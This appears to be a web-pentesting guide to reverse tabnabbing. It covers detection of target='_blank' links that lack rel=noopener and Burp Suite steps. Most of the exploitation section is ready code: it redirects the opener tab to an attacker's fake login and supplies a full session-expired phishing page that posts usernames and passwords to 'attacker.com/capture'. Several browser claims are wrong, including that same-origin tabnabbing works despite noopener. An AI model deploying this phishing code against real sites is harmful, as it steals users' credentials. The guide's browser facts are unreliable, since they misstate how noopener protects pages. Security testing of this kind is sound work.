Web

Tabnabbing & Reverse Tabnabbing

Reverse tabnabbing via window.opener: opened tabs navigating the opener, target=_blank without rel=noopener, phishing via tab replacement, opener.location hijack, and noopener/noreferrer bypass checks.

What is Reverse Tabnabbing

When a link with target="_blank" is clicked, the new tab gets a reference to the original page via window.opener. If the original page doesn’t set rel="noopener", the new (attacker-controlled) tab can navigate the original tab to a phishing page while the user is looking at the new tab.

The user’s original tab silently changes to a fake login page — they may not notice the URL changed and enter their credentials.


Detection

In Burp Proxy or browser dev tools, search for links without noopener:

// In browser console
Array.from(document.querySelectorAll('a[target="_blank"]'))
  .filter(a => !a.rel.includes('noopener'))
  .map(a => a.href);
# In source HTML
grep -i 'target="_blank"' index.html | grep -v 'noopener'

Step 2 — Test opener access

Visit an external link (or attacker-controlled site) linked from the target app. On the external page:

// Can the new tab access the opener?
console.log(window.opener);        // Should be null if noopener is set
console.log(window.opener?.location.href);

If window.opener is not null → tabnabbing is possible.

Step 3 — Navigate the opener

On the attacker-controlled page (opened via the target’s link):

if (window.opener) {
  window.opener.location = 'https://attacker-phishing.com/fake-login';
}

Check if the original tab navigates to the phishing URL → confirmed.


Exploitation

Full attack flow

  1. Target site has a link to an external page without rel="noopener":

    <a href="https://ATTACKER_CONTROLLED" target="_blank">Click here</a>
  2. User clicks the link → new tab opens to ATTACKER_CONTROLLED.

  3. Attacker’s page immediately executes:

    setTimeout(function() {
      if (window.opener && !window.opener.closed) {
        window.opener.location = 'https://attacker.com/fake-login';
      }
    }, 2000);  // Wait 2 seconds while user looks at new tab
  4. Original tab silently navigates to the phishing login page.

  5. User switches back to the original tab and sees what looks like a timeout/re-login prompt.


Phishing Page Design

The phishing page should look like the original site’s login/session-timeout:

<!DOCTYPE html>
<html>
<head><title>Session Expired</title></head>
<body>
  <div class="login-box">
    <p>Your session has expired. Please log in again.</p>
    <form action="https://attacker.com/capture" method="POST">
      <input type="text" name="username" placeholder="Username">
      <input type="password" name="password" placeholder="Password">
      <button type="submit">Log in</button>
    </form>
  </div>
  <script>
    // Navigate the opener as soon as the page loads
    if (window.opener) {
      window.opener.location = window.location.href;
    }
  </script>
</body>
</html>

Variations

If the target app lets users post links (comments, profiles, chat), inject a link to your server:

Check out this resource: <a href="https://attacker.com" target="_blank">link</a>

JavaScript window.open without noopener

var w = window.open('https://attacker.com', '_blank');
// Now 'w' is the new tab, and the new tab's window.opener is this page

If the opened URL is attacker-controlled, it can use window.opener to navigate back.


Browser Behaviour

Browsertarget=“_blank” without relOpener behaviour
Modern Chrome/FirefoxYesImplicitly sets noopener for cross-origin links
SafariYesCross-origin opener still accessible until Safari 12.1+
IE/Edge LegacyYesopener accessible
Any browserSame-origin linkopener accessible regardless

Same-origin tabnabbing (where both pages are on the same domain) is still fully exploitable in all browsers even with noopenerwindow.opener is accessible for same-origin.


Burp Suite workflow

  1. Proxy — spider the target; search response bodies for target="_blank" without noopener.
  2. Repeater — confirm which links point to external or user-controlled URLs.
  3. DOM Invader — check for window.open() calls in JavaScript that lack noopener.
  4. Test exploitation manually: host a page that logs window.opener and verify it’s not null.